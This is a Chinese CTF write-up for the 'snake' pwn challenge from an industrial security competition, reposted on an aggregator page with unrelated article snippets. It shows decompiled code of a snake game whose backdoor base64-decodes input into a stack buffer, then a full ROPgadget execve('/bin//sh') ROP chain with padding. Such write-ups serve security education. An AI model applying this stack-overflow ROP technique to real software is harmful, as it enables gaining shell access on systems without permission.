第八届工业信息安全技能大赛全国复赛snake_wp

news/2025/1/15 17:09:25/文章来源:https://www.cnblogs.com/liulangbxc/p/18673412

pwn题 snake writeup

多少有点不自信,太久没做题,看到题都有点怕怕的

这个程序是一个贪食蛇游戏,主程序如下:

__int64 __fastcall main_4015A5(__int64 a1, __int64 a2)
{int v2; // edxint v3; // ecxint v4; // er8int v5; // er9int v7; // [rsp+Ch] [rbp-4h]sub_400B6D();do{
LABEL_2:sub_40158D();sub_400CA6();print_score_400E09(a1, a2, v2, v3, v4, v5);v7 = getchar();}while ( v7 == -1 );switch ( v7 ){case 'A':case 'a':if ( dword_6BEE04 != 1 )dword_6BEE04 = 3;goto LABEL_16;case 'D':case 'd':if ( dword_6BEE04 != 3 )dword_6BEE04 = 1;goto LABEL_16;case 'S':case 's':if ( dword_6BEE04 )dword_6BEE04 = 2;goto LABEL_16;case 'W':case 'w':if ( dword_6BEE04 != 2 )dword_6BEE04 = 0;goto LABEL_16;case 'q':if ( score_dword_6BD3F0 == 2 )binsh_401427();  //后门return 0LL;default:
LABEL_16:sub_400E29();if ( !(unsigned int)sub_400EDF() ){if ( qword_6BE4A0[0] == qword_6BE480 ){++score_dword_6BD3F0;++dword_6BEE00;sub_4014A7();}a1 = 100000LL;usleep(0x186A0u);goto LABEL_2;}IO_puts("Game Over!");return 0LL;}
}

根据这段代码可以知道,当得分为2时,输入q退出就会进入后门。
后门程序如下:

__int64 binsh_401427()
{int v1; // [rsp+Ch] [rbp-474h] BYREFchar buf[1024]; // [rsp+10h] [rbp-470h] BYREFchar v3[104]; // [rsp+410h] [rbp-70h] BYREF__int64 v4; // [rsp+478h] [rbp-8h]IO_puts("?www!dev#etc$/bin/sh");IO_fflush(off_6BB868);getchar();_libc_read(0, buf, 0x400uLL);v4 = b64decode_40117D((__int64)buf, &v1);return j___libc_memmove_ifunc_0((__int64)v3, v4, v1);// v4拷贝v1个字符到v3
}

这里先打印"?www!dev#etc$/bin/sh",然后读取最多400个字符到buf,然后经过base64解码(这里可以通过输入一些base64字符串可以看出),然后拷贝到v3,这里是存在栈溢出的。
img

然后ROPgadget一把梭

ROPgadget --binary pwn --ropchain

选取payload

#!/usr/bin/env python3
# execve generated by ROPgadgetfrom struct import pack# Padding goes here
p = b''p += pack('<Q', 0x00000000004113f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006bb0e0) # @ .data
p += pack('<Q', 0x00000000004005af) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000480bb1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004113f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006bb0e8) # @ .data + 8
p += pack('<Q', 0x00000000004458a0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000480bb1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006a6) # pop rdi ; ret
p += pack('<Q', 0x00000000006bb0e0) # @ .data
p += pack('<Q', 0x00000000004113f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006bb0e8) # @ .data + 8
p += pack('<Q', 0x000000000044cb86) # pop rdx ; ret
p += pack('<Q', 0x00000000006bb0e8) # @ .data + 8
p += pack('<Q', 0x00000000004458a0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401dac) # syscallfrom base64 import b64encode
payload = b'a'*120 + p
print(b64encode(payload))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/869692.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

初识Spring -2025/1/12

bean的生命周期初始化容器1.创建对象(内存分配) 2.执行构造方法 3.执行属性注入(set操作) 4.执行bean初始化方法使用bean1.执行业务操作关闭/销毁容器1.执行bean销毁方法(3)关闭容器的两种方式:ConfigurableApplicationContext是ApplicationContext的子类close()方法 registerS…

Linux命令【date】格式化

作用:显示或设定系统的日期与时间 格式化

高效协作与工时优化的结合点在哪里

在信息化高速发展的今天,如何提升团队的协作效率、优化工时管理,已经成为每个企业面临的挑战。在线文档协作工具因其实时共享、多端同步、权限控制等功能,成为现代企业数字化办公的重要一环。本文将分析在线协作工具如何助力办公室团队优化工时管理,从而实现高效办公。一、…

easyexcel doRead bug

public class CarOilingRecordImportVO { /** * 油卡号 */ @ExcelProperty(value = "卡号/客户编号") @NotNull(message = "卡号/客户编号不能为空") private String cardCode; /** * 车牌号 */ @ExcelProperty(value =…

为什么人工智能会导致更大的社会不平等……至少在开始时如此

为什么人工智能会导致更大的社会不平等……至少在开始时如此 一次巨大变革的不对称性来源:作者使用GPT-4o撰写虽然每一次技术革命都创造了比毁掉的工作岗位更多的就业机会,人工智能也不会例外。然而,我们正迎来向那个世界转变的一个极其复杂的阶段。 简单来说,未来几年人工…

(二)C#同一个项目窗体应用程序复制粘贴窗体文件出现各种bug正确解决办法

事情是这样的,如上图所示,因为一个系统里面有好几个子系统,有些子系统之间的“增删查改”又是相通的,于是想通过复制相同的窗体到另外一个文件夹的时候,如果不正确引用“新项目”将会出现以上各种错误。在网上搜索了各种方式,尝试了各种办法,最后找到下面这种亲测有效的…

进度追踪与任务管理:提升团队效率的核心利器

一、高效协作管理工具的定义与重要性 高效协作管理工具是指能够支持团队成员之间顺畅沟通、任务高效分配、进度实时跟踪、工作流程协同的工具。这些工具通常具备任务管理、文件共享、日程安排、团队沟通、进度追踪等功能,旨在帮助团队更好地合作、提高效率。 在快速发展的商业…

3个开源Cron计划任务可视化应用

Cron是Linux、BSD等Unix类型操作系统中的自动任务调度程序。Cron用于按计划的时间间隔(每分钟、每小时、每天、每周或者每月)自动执行脚本或命令。可以自动在后台执行脚本任务,实现对系统必要的维护或者执行一些重复性的操作。 Cron Jobs可以用来做什么? Cron作业用途广泛,…

JS-37 函数

函数是一段可以反复调用的代码块 1、函数的声明 function命令:function命令声明的代码区块,就是一个函数。function命令后米娜是函数名,函数名后面是一对圆括号,里面是传入函数的参数。函数体放在大括号里面。 function print(s){ console.log(s); }2、函数名的提升 Java…

MySQL从库延迟 [Note] Multi-threaded slave statistics : seconds elapsed = 120; events assigned【转】

背景介绍 近来一套业务系统,从库一直处于延迟状态,无法追上主库,导致业务风险较大。从资源上看,从库的 CPU、IO、网络使用率较低,不存在服务器压力过高导致回放慢的情况;从库开启了并行回放;在从库上执行 show processlist 看到没有回放线程阻塞,回放一直在持续;解析 …

2024,语音 AI 元年;2025,Voice Agent 即将爆发丨年度报告发布

围绕 Voice Agent 产品的研发、商业化和增长的完整生命周期,报告构建出一份 Voice Agent 产业生态全景图。 2024 年,AI 与实时互动技术的结合 达到了前所未有的高度。5 月, OpenAI 发布了 GPT-4o ,并展示了其对话功能,仿佛电影《HER》中的智能助手走入了现实生活。10 月,…

基恩士SR710+N-L20系列扫码枪EIP通讯 ( 汇川AM401-基恩士N-L20 )

第一步: 扫码枪设置 1, 基恩士扫码枪IP地址设置 2, 扫码枪EIP设置第二步: PLC设置及编程 1,EDS文件导入 2, EIP配置